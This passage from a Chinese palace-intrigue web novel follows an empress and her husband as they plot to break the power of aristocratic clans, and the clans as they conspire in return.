慕容嫣静静听着,?脸上的冰霜渐渐融化,?取而代之的是一种近乎兴奋的、狩猎前的锐利。 她放下茶杯,?伸出手,?用戴着墨玉扳指的指尖,?轻轻划过林臻的掌心。 “夫君真是朕的张良再世”她的声音带着一丝慵懒的沙哑,?和毫不掩饰的赞赏,“这些法子甚合朕意。” 她忽然,?直起身子,?凑近林臻,?双臂环住他的脖颈,?目光灼灼地盯着他?:“不过朕觉得还可以再加点料。” “哦?”林臻顺势搂住她的腰,眼中带着询问。 慕容嫣嘴角勾起一抹残忍的弧度?:“清丈田亩核查户籍动静太大容易打草惊蛇朕要先给他们来个敲山震虎。” 她的眼神变得幽深:“就从叫得最欢的太原王氏开始吧。” 她顿了顿,?仿佛在品味这个名字, “听说王家的嫡长孙王允之是个‘风流才子’?最近好像在京郊别院养了个颇有姿色的歌姬?” 林臻立刻会意,眼中闪过一丝了然与冷酷:“为夫明白。暗卫会让他‘风流’得尽人皆知。而且那歌姬的身份会很‘有趣’。” “很好。”慕容嫣满意地笑了,?那笑容美丽却令人胆寒,“等这事闹得满城风雨朕再以‘德行有亏、玷辱门风’为由罢了王家家主王珣的官夺了王氏的爵看还有谁敢再当这个出头鸟!” 她说着,?眼中的杀意更盛?:“还有崔家卢家他们家那些田庄里‘意外’死几个佃户或者仓库里‘不小心’走了水损失惨重应该也很合理吧?” 这已不仅是政治斗争,而是赤裸裸的、无所不用其极的阴谋与迫害! 林臻紧紧抱住她,声音低沉而坚定:“合理。非常合理。为夫会安排得天衣无缝。” 他的拥抱,既是支持,也是共同沉沦的承诺。 得到他的肯定,慕容嫣似乎彻底放松下来。 她将头靠在他的肩膀上,?刚才的杀伐决断瞬间消失,?语气变得软糯而依赖?:“夫君朕累了刚才在朝堂上吵得朕头疼” 林臻心中涌起无限爱怜,轻轻抚摸着她的后背:“为夫知道。那些蠢物,不配让嫣儿费神。” 他低头,吻了吻她的发顶,“为夫抱你去沐浴更衣,可好?然后为夫给你按按头” 慕容嫣在他怀里轻轻“嗯”了一声,?像只被顺毛的猫儿。 林臻将她横抱而起,走向寝殿后方的浴池。 慕容嫣顺从地依偎着他,?双臂环着他的脖颈,?脸颊贴着他的胸膛。 ?那五丈长的墨金色拖尾,?垂落下来,?随着他的步伐,?在身后迤逦摆动,?华美而脆弱。 氤氲的温泉浴池中,慕容嫣褪去了神凤降世裙,?如墨的青丝漂浮在水面。 林臻并未离去,?而是挽起袖子,?亲自为她梳理长发,?按摩肩颈。 他的动作轻柔而专注,仿佛在洗涤她方才沾染的所有尘埃与戾气。 沐浴更衣后,慕容嫣换上了一身新的、同样华美的寝衣,?但并未再穿上神凤降世裙。 她慵懒地趴在暖榻上,?林臻则坐在一旁,?用恰到好处的力道,?为她按摩着太阳穴和头部的穴位。 殿内烛火摇曳,香气袅袅。 方才朝堂的剑拔弩张与此刻寝宫的温情脉脉,形成了极其诡异的对比。 慕容嫣闭着眼,?享受着夫君的伺候,?忽然轻声开口,?声音带着一丝倦意和满足?:“有夫君在真好” 林臻手中的动作未停,声音温柔似水:“为夫会一直在。永远陪着嫣儿,护着嫣儿,为嫣儿扫平一切障碍。” 慕容嫣翻过身,?伸手拉住他的衣襟,?将他拉向自己。她仰头看着他,?凤眸中水光潋滟,?带着一种近乎偏执的占有欲?:“说好了不准反悔” “绝不反悔。”林臻俯身,深深吻住她的唇。 这一刻,所有的阴谋、杀戮、朝堂风波,似乎都被隔绝在外。 第927章 那就由不得他们了 圣徽元年的初春,寒意未消。 金銮殿上的血腥威慑犹在耳边,但慕容嫣深知,对付那些底蕴深厚、枝繁叶茂的百年世族,仅靠一次雷霆杀戮是远远不够的。 那只会让他们暂时蛰伏,将反抗转入更深、更隐蔽的地下。 她需要的是钝刀子割肉,是温水煮青蛙,是一场不见硝烟却足以抽空他们百年根基的持久战。 而这场战役的序幕,就在凤寰宫这方极尽奢靡温馨的天地里,于她与林臻耳鬓厮磨之间,悄然拉开。 这一日,午后阳光透过薄云,带来些许暖意。 凤寰宫寝殿内,地龙烧得恰到好处,既不燥热,也无寒意。 慕容嫣依旧穿着那身仿佛与她融为一体的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正慵懒地半靠在窗边一张铺着白虎皮的软榻上。 与往日不同的是,榻上的矮几并未摆放茶点或书籍,而是铺开了一张巨大的、标注着大乾各州郡势力分布的绢帛地图,上面以细密的朱笔圈点出各大世族的核心势力范围。 林臻坐在榻边,身着月白常服,墨发松松挽起,手中拿着一把小巧的银刀,正仔细地为慕容嫣削着一个水灵灵的雪梨。他的动作优雅而专注,削下的果皮薄如蝉翼,连绵不断。 ?神凤降世裙在春日柔和的漫射光下,呈现出一种居家的、慵懒的华美。 ?极致玄黑的苏锦底料吸吮着光线,色泽沉静,织入的金色棉绒与真金线流淌着温和的暗金波光。 ?睡裙之上,那只擎天巨凤的羽翼似乎也收敛了锋芒,在静谧的午后更显雍容。?宽大轻盈的喇叭袖一只垂落榻边,另一只则随意搭在地图边缘,?袖口的金线流苏偶尔拂过地图上标注的“太原王氏”字样。 她左手拇指上的墨玉扳指,在光下泛着幽润的光泽。 而那长达五丈的苏锦拖尾,?并未刻意整理,?而是恣意地、迤逦地铺满了榻前一大片光洁的金砖地面,?墨金色的锦缎如同泼洒的墨迹,?与榻上地图的绢帛之色相互映衬,?仿佛她自身便是这盘棋局的一部分。? 棉质的柔软与睡裙的宽松,让她在这种需要长时间思考的氛围中保持舒适。 “夫君,”慕容嫣并未看地图,?而是眯着眼,?享受着阳光洒在脸上的暖意,?声音懒洋洋的,?像只晒太阳的猫,“这梨子甜吗?” 林臻将削好的一瓣梨肉递到她唇边,声音温柔:“嫣儿尝尝便知。这是南边刚进贡的玉露雪梨,清甜多汁,最是润肺。” 慕容嫣张口接了,?细细咀嚼着,?甘甜的汁液让她满足地眯了眯眼。她咽下梨肉,?目光才懒懒地扫向榻上的地图,?指尖戴着墨玉扳指,?无意识地在地图上“清河崔氏”的标记旁轻轻划着圈。 “崔家…”她轻声念叨,?语气听不出喜怒,“他们家最出名的是什么来着?好像是藏书?号称‘崔氏书楼,甲于天下’?” 林臻又递过一瓣梨肉,接口道:“不错。崔家世代治《春秋》,门生故吏遍布朝野州县。其藏书楼确实汗牛充栋,许多孤本、善本,连皇家藏书阁都未必有。天下士子,莫不以能入崔氏书楼一观为荣。” 他的话语中带着客观的分析,并无褒贬。 “哦…”慕容嫣拉长了语调,?嘴角勾起一抹极淡的、玩味的弧度,“书多是好事啊…知识应该共享嘛…”她顿了顿,?仿佛随口一说,“夫君,你说若是朕下旨让崔家将其藏书楼对所有通过州府考试的士子开放借阅,他们会如何?” 林臻手中削梨的动作微微一顿,眼中闪过一丝了然的光芒。他看向慕容嫣,只见她依旧一副慵懒模样,但那双凤眸深处,却闪烁着冰冷而精明的算计。 这一招,看似是弘扬文教,实则是要釜底抽薪,打破崔家对知识的垄断!一旦藏书开放,崔家吸引士子、维系其学术领袖地位的最大资本,将大大贬值! “崔家…”林臻沉吟道,“定然会以‘祖训’、‘珍藏不易’等理由,极力反对,阳奉阴违。” “反对?”慕容嫣轻笑一声,?又吃了一瓣梨,“那就由不得他们了。” 她的指尖从崔家移开,?点向了“范阳卢氏”?,“卢家听说他们家田产最多?隐匿的佃户数以万计?” “是。卢氏良田万顷,遍布河北。其族中子弟多不事生产,全靠田租过活。隐匿人口,逃避赋税,乃是常事。”林臻补充道,他对这些世族的底细了如指掌。 “嗯…”慕容嫣若有所思,?指尖轻轻敲击着地图,“朕记得《大乾新礼》里是不是有一条鼓励垦荒,新垦之地,三年不征赋?” “确有此事。” “那好啊…”慕容嫣的笑容加深,?带着一丝残忍的天真,“传旨给河北道,就说朝廷要大力鼓励垦荒,特别是那些靠近卢家田产却又‘无人耕种’的荒地,可以优先分发给流民、退伍士卒,朝廷不仅免赋三年还可以提供种子、农具。” 这一招更狠! 名义上是鼓励垦荒,实则是要蚕食卢家的土地资源,甚至可能引发卢家与获得土地的平民之间的冲突! 而且,一旦有平民在那些“荒地”上定居,卢家再想将这些土地纳入囊中,就难了。 林臻眼中赞赏之色更浓:“嫣儿此计甚妙。温水煮蛙,不动声色。卢家若阻拦,便是对抗朝廷惠民之策;若放任,则其田产根基必被动摇。” 慕容嫣似乎被夸得有些惬意,?像只被顺毛的猫,?往软榻里又缩了缩。她抬起手,?用指尖轻轻点了点林臻的鼻尖,?语气带着娇嗔?:“还不是夫君情报准确,不然朕哪能想到这些。” 她的目光再次落回地图,?这次,?看向了“太原王氏”?。 她没有立刻说话,而是静静地看了许久,?眼神中的慵懒渐渐被一种更深的算计取代。 “王氏…”她轻声自语,“盘踞太原数百年,树大根深,与军中关系匪浅,动他们得用更巧妙的法子。” 她忽然,?转过头,?看向林臻,?凤眸中闪过一丝狡黠?:“夫君,你说若是朕在太原设立一个‘北方军械制造总局’由朝廷直接管辖所需铁料、工匠优先从当地征调,但管理权属工部,王家的那些子弟还能像以前那样,轻易插手军需中饱私囊吗?” 这已是从经济命脉和人事安排上,直接切割王氏与军队的联系! 设立中央直管机构,等于在王氏的地盘上插入一颗钉子,既能利用当地的资源,又能有效监控和限制王氏的影响力。 林臻放下银刀和小刀,拿起温热的湿巾擦了擦手,然后握住慕容嫣的手,目光深沉:“不能。此局若成,王氏犹如断一臂膀。 且此举名正言顺,乃为强军固国,王家纵有万般不愿,亦难找到光明正大的理由反对。” 慕容嫣反手与他十指相扣,?墨玉扳指硌着他的指缝。她脸上露出满意的笑容,?那是一种棋手布局落子后的快意。“那就…这么办。”她的语气轻描淡写,?仿佛决定的不是百年世族的命运,?而是晚膳吃什么。 她似乎有些累了,?打了个小小的哈欠,?将头靠回引枕,?闭上眼睛。“具体怎么操作,夫君你和阁臣们去商议吧,朕只管定方向…” 她的声音带着倦意。 林臻看着她疲惫的侧脸,心中涌起无限爱怜。他知道,这些看似随意的“闲谈”,实则耗费了她巨大的心力。 他俯身,在她额上印下一个轻柔的吻:“好,嫣儿放心休息。为夫会处理好一切。” 慕容嫣在他靠近时,?无意识地,?伸手环住了他的腰,?将脸埋在他胸前,?喃喃道?:“夫君,抱一会儿…” 林臻顺势在榻边坐下,将她轻轻揽入怀中,让她靠着自己更舒适些。慕容嫣像只找到了温暖巢穴的鸟儿,?很快便呼吸均匀,?似乎睡着了。? 阳光透过窗棂,?洒在相拥的两人身上,?也洒在那张标注着天下大势的地图上,?以及地图旁,?那身迤逦华贵的神凤降世裙的墨金色拖尾之上。 殿内静谧,只有彼此的心跳和呼吸声。 然而,在这温馨的表象之下,一场针对世家大族的、更为精细、更为漫长的肢解大戏,已经随着慕容嫣那几句看似慵懒的话语,正式拉开了序幕。 她不再追求一击毙命,而是要像蜘蛛织网一样,慢慢地将这些庞然大物缠绕、束缚,直至他们精疲力尽,流血而亡。 不知过了多久,慕容嫣在睡梦中,?无意识地,?轻轻回了一下头。 那轻盈华贵的五丈苏锦拖尾因这细微的动作被带动,墨金色的裙摆微微飘起一个弧度,?露出了里面那金线密织的华丽内衬的一角。 金光一闪而逝,如同她深藏于温柔睡颜之下的、冰冷而坚定的意志。 第928章 世家反弹 圣徽元年的春风,并未给盘踞大乾数百年的世家大族带来丝毫暖意,反而裹挟着从皇城深处吹出的凛冽寒流,席卷了他们的朱门深院。 慕容嫣那几道看似“弘扬文教”、“鼓励垦荒”、“优化军备”的旨意,如同精准射出的淬毒弩箭,箭箭直指他们的命脉。 旨意通过朝廷明发天下,措辞堂皇,打着“圣辉新政,惠泽万民”的旗号,让人难以公开反驳,但其下隐藏的削藩弱枝之刃,却让这些千年世家感到了刺骨的寒意和灭顶的威胁。 消息传回,各大世家的反应,绝非简单的愤怒,而是一种混合了巨大恐惧、刻骨怨恨和垂死挣扎的复杂情绪。 他们深知,这位女帝,与以往任何一位君王都不同,她不要妥协,不要平衡,她要的是彻底的臣服,或者彻底的毁灭。 ?太原,王氏祖宅,深夜。?? 祠堂内灯火通明,檀香缭绕,却驱不散弥漫的压抑与绝望。 家主王珣,一位年过花甲、须发皆白的老者,颤抖着双手捧着抄录的圣旨,反复观看,脸色灰败。他下方,簇拥着族中核心子弟,个个面色铁青。 “开放书楼,共享典籍,呵呵,好一个弘扬文教!”王珣的声音嘶哑,带着哭腔,“这是要掘我崔氏立世之根啊!没了这些孤本善本,天下士子谁还认我崔氏为文宗?!” “父亲!”其长子,年富力强的王允之咬牙切齿,“这妖女!分明是要将我世家千年积累,毁于一旦!我们绝不能坐以待毙!” “不错!”另一位族老捶胸顿足,“还有那卢家!鼓励垦荒?分明是纵容刁民侵占良田!还有王家!设什么军械总局?这是要断了我们与军中的联系!其心可诛!其心可诛啊!” 祠堂内响起一片恶毒的诅咒与哀嚎。 “慕容嫣!你这牝鸡司晨的妖妇!悖逆人伦,践踏圣道!你不得好死!” “还有那林臻!奸佞小人!魅惑君上!助纣为虐!你们这对狗男女,必遭天谴!” 王珣老泪纵横,猛地将圣旨掷于地上,嘶声道:“诅咒无用!如今之势,已是刀架脖颈!她慕容嫣要温水煮蛙,我等绝不能做那釜中之蛙!” 他眼中闪过一丝狠厉, “她不是要共享吗?好!我们就让她共享个够!传令下去,将书楼中那些最晦涩难懂、歧义最多的孤本,优先借给那些寒门士子!再派人暗中引导让他们为经义解释争得头破血流!让这文教乱起来!” “还有,”王允之阴冷地补充,“联络范阳卢氏、清河崔氏,还有所有受波及的家族!她慕容嫣想各个击破,我们偏要抱成一团!她在明,我们在暗总能找到机会。” ?范阳,卢氏田庄。?? 广袤的田地上空,弥漫着不同寻常的紧张。卢氏家主卢承庆,一个精于算计的中年人,正阴沉着脸听取管事的汇报。 “老爷,朝廷派来的勘测官已经到了,说是有大片无主荒地紧邻咱们的良田,要划给流民垦荒” “无主荒地?”卢承庆冷笑,“那是我卢家预留的牧场!是熟荒!”他眼中寒光一闪,“告诉下面的人,那些流民若敢靠近夜里放狗!或者让意外发生几次!死几个人,看谁还敢来领这皇恩!” “可是老爷,朝廷有旨,若是阻拦” “旨意?”卢承庆嗤笑,“山高皇帝远!法不责众!她慕容嫣的手,还伸不了这么长!另外,将库中陈粮,悄悄运往北边漠北的蛮子,不是一直缺粮吗?换个好价钱也给咱们的皇帝陛下找点事情做做!” ?清河,崔氏书院。?? 往日书声琅琅的书院,此刻却充斥着压抑的议论。崔氏家主崔文璟,一位以清流自居的大儒,此刻也失了风度,面色铁青。 “开放书楼真是斯文扫地!”他痛心疾首,“我崔氏藏书,乃先祖心血,岂是那些粗鄙之人可随意翻阅玷污的?” “父亲,”其子崔浩低声道,“明着抗旨不行,但我们可严格审核借阅资格!设置重重门槛,拖延时间!再者书楼年久失修需要闭楼修缮也是个理由” 崔文璟眼中闪过一丝无奈与阴霾: “也只能如此了另外,联络我们在朝中的门生故旧,上书!不是直接反对,而是议论新政执行之难,需从长计议!用拖字诀!同时将慕容嫣推行新礼、打压世家的行为地散播出去总要让她在士林心中留下个暴虐无道的印象!” 恶毒的诅咒、阴险的算计、绝望的反击,在各大世家的深宅大院中悄然滋生、蔓延。 他们像受伤的困兽,在恐惧的驱使下,开始用他们千年积累的智慧、人脉和资源,编织一张无形的抵抗之网。 这张网,或许无法正面抗衡慕容嫣的皇权,但却足以制造无数的麻烦、拖延和混乱,试图将这场“温水煮蛙”变成一场漫长的、消耗巨大的泥潭。 然而,此刻的凤寰宫内,却是一派与外界的暗流汹涌截然相反的、极致静谧的温馨。已是掌灯时分,寝殿内烛火通明,暖香浮动。 慕容嫣刚刚沐浴完毕,?如墨的青丝还带着湿润的水汽,?披散在身后。 她并未换上寝衣,?而是任由宫女为她擦拭干身体后,?直接穿上了那身仿佛与她肌肤相亲的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 丝绸般顺滑的棉质面料贴合着她玲珑的曲线,带来舒适的触感。 林臻早已在一旁等候,见她出来,便很自然地接过宫女手中的干爽软巾,亲自为她轻轻擦拭着发梢。他的动作极其轻柔,生怕扯痛她分毫。 ?神凤降世裙在温暖的烛光下,泛着柔和的光泽。?极致玄黑的苏锦底料吸吮着光芒,沉静如夜;织入的金色棉绒与真金线流淌着温暖的暗金波光。 ?睡裙之上,那只擎天巨凤在室内光线下少了几分戾气,凤羽层叠,更显华贵雍容。?宽大轻盈的喇叭袖垂落身侧,袖口金线流苏纹丝不动。 她左手拇指上的墨玉扳指,在水汽氤氲后更显温润。而那长达五丈的苏锦拖尾,?则迤逦地铺陈在寝殿内铺设的、以金丝绣着繁复莲花纹样的柔软地毯上,?墨金色与金色纹路交织,?华美绝伦。 “夫君,”慕容嫣慵懒地靠在软榻的引枕上,?微微仰头,?方便林臻动作,?声音带着沐浴后的沙哑与放松,“今日外面可有什么新鲜事儿?” 她闭着眼,?仿佛只是随口一问。 林臻手中动作未停,声音平稳温和:“没什么大事。不过是些日常政务。为夫已按嫣儿的吩咐,将新政的细则发往各部及州县了。” 他略一停顿,语气如常地补充道, “另外,暗卫来报,太原、范阳、清河几处有些动静。无非是些诅咒谩骂,以及些小动作。” 他将世家们的反应,轻描淡写地概括为“动静”和“小动作”。 慕容嫣闻言,?嘴角缓缓勾起一抹极淡的、冰冷的弧度,?连眼睛都未睁开?:“哦?诅咒朕?呵呵朕还以为他们能有什么新花样,” 她的语气带着毫不掩饰的轻蔑,“看来是朕高估他们了。” 林臻为她擦干最后一缕发丝,放下软巾,坐到她身边,很自然地将她揽入怀中,让她靠在自己胸前。 他的下巴轻轻抵着她的发顶,嗅着她发间清冷的梅香。 “困兽之斗,徒增笑耳。嫣儿不必放在心上。” 慕容嫣在他怀里调整了一个更舒适的姿势,?像只找到暖炉的猫儿,?满足地喟叹一声。“朕才没空理会他们的犬吠。” 她伸出手,?玩味地摩挲着林臻衣襟上的盘扣, “他们越是诅咒越是搞些上不得台面的小动作就越是证明朕的路子走对了。” 她的指尖戴着墨玉扳指,?微凉的触感透过衣料传来。 “夫君,”她忽然仰起脸,?凤眸中闪烁着一种近乎天真的残忍光芒,“你说当他们发现他们的诅咒伤不了朕分毫,他们的小动作如同螳臂当车,反而会招来更狠的打击时会是什么表情?一定很有趣吧?” 林臻低头,看着她近在咫尺的、绝美而危险的面容,心中爱怜与杀意交织。他伸手,轻轻抚过她的脸颊,声音低沉而坚定:“他们会绝望。会发现自己数百年的积累,在嫣儿的绝对意志面前,不堪一击。那表情,定然精彩。” 他顿了顿,补充道,“为夫会帮嫣儿,好好欣赏。” 慕容嫣似乎被他的话取悦,?轻笑出声,?笑声清脆,?却无端带着寒意。 她主动凑上前,?在他唇上印下一个短暂的、却带着占有意味的吻。 “还是夫君懂朕。” 吻毕,她重新窝回他怀里,?语气又恢复了慵懒?:“那些动静夫君看着处理就好朕累了不想为这些冢中枯骨费神,” 她将那些正在拼死挣扎的百年世家,轻蔑地称为“冢中枯骨”。 “好。”林臻应道,手臂收紧,将她圈在怀中,“为夫会处理好一切。嫣儿只需静待佳音。” 殿内烛火摇曳,将相拥的身影投在墙壁上,温馨而静谧。 慕容嫣似乎真的困了,?在他怀里渐渐呼吸均匀。林臻一动不动,?任由她靠着,?目光却投向窗外漆黑的夜空,?眼中锐光一闪而逝。 他知道,世家的反击已经开始,但那又如何? 一切,都早已在他和嫣儿的掌控之中。 这场博弈,从一开始,就注定了结局。 不知过了多久,慕容嫣在睡梦中,?无意识地,?轻轻回了一下头,?似乎想寻找更舒适的位置。 那轻盈华贵的五丈苏锦拖尾因这细微的动作被带动,墨金色的裙摆悄然滑落榻边,?微微飘起一个优雅的弧度,?露出了里面那金线密织、在烛光下流光溢彩的华丽内衬的一角。 第929章 雷霆手段 圣辉元年的春日,在表面平静的朝局下,暗流愈发汹涌。 慕容嫣的新政如同投入深潭的巨石,激起的涟漪正悄然扩散、变形,化作无数淬毒的暗箭,从意想不到的角度射向皇权的核心。 世家大族们深知硬碰硬无异于以卵击石,转而利用他们盘根错节的影响力、掌控的舆论渠道以及千百年来浸淫权术的阴毒智慧,发起了一场无声的战争。 这场战争,不在金銮殿上,而在市井巷陌、茶楼酒肆、乃至各级官府的文书往来之间。 ?首先发难的,是舆论。?? 一首首看似香艳暧昧、实则暗藏机锋的诗词歌赋,开始在江南文人士子间悄然流传。 诗词中或借古讽今,以“妲己”、“褒姒”影射慕容嫣奢靡专宠、祸乱朝纲;或含沙射影,将林臻描绘成以色侍人、狐媚惑主的“男宠”,暗示其凭借床笫之功窃取权柄,残害忠良。 这些诗词用典晦涩,辞藻华丽,极易在有一定文化素养的阶层中引起共鸣和遐想。 更有甚者,一些关于慕容嫣“身着妖异睡裙,日夜不离其身,乃修炼邪术,需吸食男子精气以保容颜”的荒诞流言,也开始在暗地里滋生蔓延。 这些恶毒的语言,如同瘟疫,悄无声息地腐蚀着慕容嫣作为帝王的威严与林臻的声誉。 ?其次,是经济上的软抵抗。?? 以掌控盐铁、漕运等重要命脉的世家为代表,他们开始以各种“合情合理”的借口拖延、推诿朝廷政令。 漕运船只“意外”搁浅、修缮,导致南方税粮北运迟缓;官营盐场“设备故障”,产量骤减,引发部分地区盐价波动;就连为新政提供支持的铜铁供应,也因“矿脉枯竭”或“工匠不足”而变得紧张。 这些举动并非公然抗旨,却精准地给新政的执行制造了巨大的障碍和成本,试图从后勤上拖垮慕容嫣的改革步伐,并引发民间潜在的不满情绪。 ?再者,是官场上的阳奉阴违与非暴力不合作。?? 许多由世家子弟或与其关系密切的官员把持的州县衙门,对开放书楼、清丈田亩、设立新机构等政策。 采取了“积极响应、缓慢执行”的策略。他们组织起庞大的“审核委员会”,对申请借阅的寒门士子设置重重匪夷所思的障碍。 清丈田亩的队伍“意外”遭遇当地豪强阻挠,或是测量工具“频繁损坏”。 新设立的“军械制造总局”在选址、招募工匠等方面,遭遇了来自地方官僚体系的无形掣肘和无限期拖延。 整个官僚机器,仿佛陷入了一种粘稠的泥沼,命令下达容易,落到实处却难如登天。 这些消息,通过暗卫和忠诚官员的渠道,不断汇入皇城,摆在慕容嫣的面前。 然而,与外界想象的暴怒不同,慕容嫣在得知这些阴险手段后,反应却出奇的平静,甚至带着一丝玩味。 此刻,凤寰宫寝殿内,夜已深沉。烛火将室内照得暖融明亮。 慕容嫣刚刚批阅完一部分紧急奏章,?有些疲惫地揉了揉眉心。她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正慵懒地靠坐在宽大的书案后。 案上堆满了奏折,墨迹未干。 林臻并未休息,而是坐在她身侧不远处的一张软椅上,手中也拿着一份暗卫密报,眉头微蹙。 他放下密报,起身走到慕容嫣身边,声音温柔中带着一丝凝重:“嫣儿,江南流传的那些诗词还有市井间的谣言甚为恶毒。是否让为夫派人” 慕容嫣抬起手,?用指尖轻轻按住了他的唇,?阻止了他后面的话。她脸上非但没有怒容,?反而露出一抹极淡的、近乎嘲讽的笑意。 “夫君急什么?” 她凤眸微挑,?扫过案上那些报告世家小动作的奏章,?语气懒洋洋的,“让他们骂,让他们拖,让他们阳奉阴违” 林臻微微一怔,握住她的手:“嫣儿,这些流言蜚语虽不伤筋骨,却能蛊惑人心,损害你的威望。那些拖延推诿,更是直接阻碍新政。” “威望?”慕容嫣轻笑一声,?笑声如冰珠落玉盘,?清脆却冰冷,“朕的威望是靠着尸山血海堆起来的,不是靠几句酸腐文人的歪诗就能动摇的。” 她反手握住林臻的手,?指尖戴着墨玉扳指,?轻轻摩挲着他的虎口, “他们越是如此,越是证明他们怕了,他们除了这些上不得台面的手段已经无计可施了。” 她站起身,?那五丈长的苏锦拖尾随之在光滑的地面上滑动。 她踱步到窗边,?推开窗户,?让微凉的夜风吹入,?吹动了她鬓角的发丝和宽大的喇叭袖。 “夫君你看,”她望着窗外沉沉的夜色,?声音平静,“他们现在像不像一群被逼到墙角的老鼠,只会吱吱乱叫,偷偷摸摸地啃噬墙角,却不敢真正冲出来面对朕的刀锋?” 林臻走到她身后,轻轻环住她的腰,将下巴抵在她的发顶:“话虽如此,但蚁穴亦可溃堤。为夫是担心,长此以往,恐生变乱。” 慕容嫣向后靠在他坚实的胸膛上,?感受着他的体温和心跳,?语气带着一种掌控一切的从容?:“乱?朕巴不得他们乱。” 她的眼中闪过一丝冷光, “他们现在这样黏黏糊糊朕反而不好下手。等他们自己跳得更欢些等那些藏在阴沟里的虫子都爬出来” 她猛地回身?! 动作带着一种狩猎般的兴奋! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同嗅到猎物气息的凤凰之翼,轰然展开,?唰啦一声扫过书案旁的地面!?? 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在烛火下流光溢彩的“满地织金”内衬!??金光乍现,尊贵、耀眼,且带着洞悉一切阴谋的冰冷锐利! 裙摆落下,华光内敛。 但慕容嫣的杀意已如同暗夜中的星火,清晰可见。 “至于那些谣言,”她嘴角勾起一抹残忍的弧度,“朕倒要看看是他们的嘴硬还是朕的刀子硬。” 她看向林臻,“夫君不必压制谣言。相反派人把那些诗词给朕添油加醋传得更广些!最好能传到漠北巴特尔的耳朵里!” 林臻眼中精光一闪,瞬间明白了她的意图:“嫣儿是想引蛇出洞?或者借刀杀人?” “不错。”慕容嫣走回书案前,?指尖点着那份关于漕运拖延的奏报,“他们不是喜欢拖吗?好!传旨给户部,今年南方的税粮,既然漕运不畅,那就地折银!让那些指望漕运吃饭的世家喝西北风去!” 地折银,意味着粮食不再北运,而是直接换算成银两上缴,这将沉重打击依靠漕运牟利的世家。 “还有盐铁,”她的指尖划过另一份奏章, “他们不是‘设备故障’吗?朕看那些官营的作坊也该换换人了。传旨,公开招募民间工匠,承包盐铁生产,朝廷只需监督抽成!朕倒要看看是他们的‘故障’多还是民间工匠的手艺好!” 她的反击,同样精准而狠辣,直接绕过世家的传统势力范围,引入新的竞争力量,釜底抽薪! “至于官场上的阳奉阴违,”慕容嫣冷哼一声,“让暗卫给朕盯紧了!凡有拖延推诿、阻碍新政者无论官职大小证据确凿后不必请示就地免职!空缺出来的位置优先从寒门子弟和这次新政中表现优异者中选拔!” 这一系列组合拳,既有放任自流、引蛇出洞的谋略,又有另起炉灶、釜底抽薪的狠辣,更有铁腕肃清、培植新血的决心! 林臻看着她运筹帷幄、杀伐决断的模样,眼中充满了欣赏与爱意。他的嫣儿,从来都不是被动挨打的人。 “为夫明白了。这就去安排,定让嫣儿的谋划,步步落实。” 慕容嫣似乎有些累了,?杀伐之气褪去,?脸上露出一丝倦容。她伸出手,?拉住林臻的衣袖,?声音软了下来?:“夫君,这些琐事明天再处理吧,朕困了。” 林臻心中一软,将她打横抱起:“好,为夫抱嫣儿去休息。” 慕容嫣顺从地依偎在他怀里,?双臂环住他的脖颈,?将脸埋在他胸前,?像只寻求庇护的鸟儿。?那五丈长的墨金色拖尾,?垂落下来,?随着林臻的步伐,?在寝殿的地面上,?迤逦出一道惊心动魄的华丽痕迹。 烛火被一一熄灭,只留角落一盏长明灯,散发着朦胧的光晕。 慕容嫣蜷缩在林臻温暖的怀抱里,?很快便呼吸均匀,?沉沉睡去。 林臻却并未立刻入睡,?他借着微弱的光线,?凝视着怀中人安静的睡颜,?眼神深邃。 他知道,外面的风雨并未停歇,反而可能因为嫣儿今日的“放纵”而变得更加猛烈。 但无论如何,他都会守在她身边,做她最锋利的剑,最坚固的盾。 殿外,夜风呼啸,仿佛夹杂着远方世家的诅咒与阴谋。 第930章 世家反扑 圣徽元年的初夏,天气渐热,而朝堂内外的暗涌,却比天气更为灼烫逼人。 慕容嫣一系列绕过世家、另起炉灶的反制措施,如同精准的手术刀,虽然未能立刻将世家这庞然大物肢解,却实实在在地割断了他们赖以生存的几根重要血管。 漕运利益受损、盐铁专营被打破、官场位置被寒门新贵挤占……这一切,都让世家们感到了切肤之痛和前所未有的恐慌。 恐慌之下,原本各自为政、甚至彼此倾轧的各大世族,在生存威胁面前,开始摒弃前嫌,前所未有地紧密勾结起来。 一场规模更大、也更隐蔽的密谋,在暗夜中悄然展开。 ?太原,王氏宗祠密室。?? 烛火摇曳,映照着一张张或苍老或阴鸷的面孔。除了家主王珣,范阳卢氏家主卢承庆、清河崔氏家主崔文璟,以及几位江南豪族的代表,竟都赫然在列! 这是近百年来,几大顶尖世族家主首次放下身段,秘密聚首。 “诸位,”王珣声音沙哑,带着破釜沉舟的决绝,“慕容嫣此女,心狠手辣,步步紧逼,是要绝我世家千年之根脉!若再各自为战,无异于坐以待毙!” 卢承庆脸色阴沉:“王公所言极是。地折银令我等漕运损失惨重,招募工匠承包盐铁,更是断我财路!此仇不共戴天!” 崔文璟则忧心忡忡:“开放书楼,寒门渐起,长此以往,我辈学术正统地位不保,子孙后代何以立世?” “必须联手!”一位江南代表咬牙道,“她在明,我们在暗。正面抗衡是找死,但我们可以从别的方面下手……” “不错!”王珣眼中闪过一丝恶毒的光芒, “她慕容嫣不是自诩天命所归吗?那我们就在这天命上做文章!” 他压低声音, “联络钦天监的旧人,散播星象有异,女主干政,天下将乱的谶语!同时,重金收买江湖术士,在民间宣扬她身着妖异睡裙(神凤降世裙),乃是妖凤临朝,有不臣之天象!” “还有经济!” 卢承庆补充, “她不是发行新币圣徽通宝以稳定金融吗?我们可以暗中大量囤积铜钱,制造钱荒,同时抬高物价,引发民间恐慌和怨气!让她的新政,变成民怨沸腾的导火索!” “最重要的是,”崔文璟阴恻恻地说,“联络我们在朝中的所有门生故旧,放缓一切政务,尤其是军需供应、边境防务!让朝廷的机器,从内部慢慢瘫痪!我倒要看看,一个内政混乱、边境不稳的朝廷,她慕容嫣还能嚣张到几时!” “还有林臻!”王珣之子王允之恨声道,“继续散播谣言,将他描绘成魅主奸佞,最好能离间他与慕容嫣的关系!若能使其君臣相疑,则大事可成!” 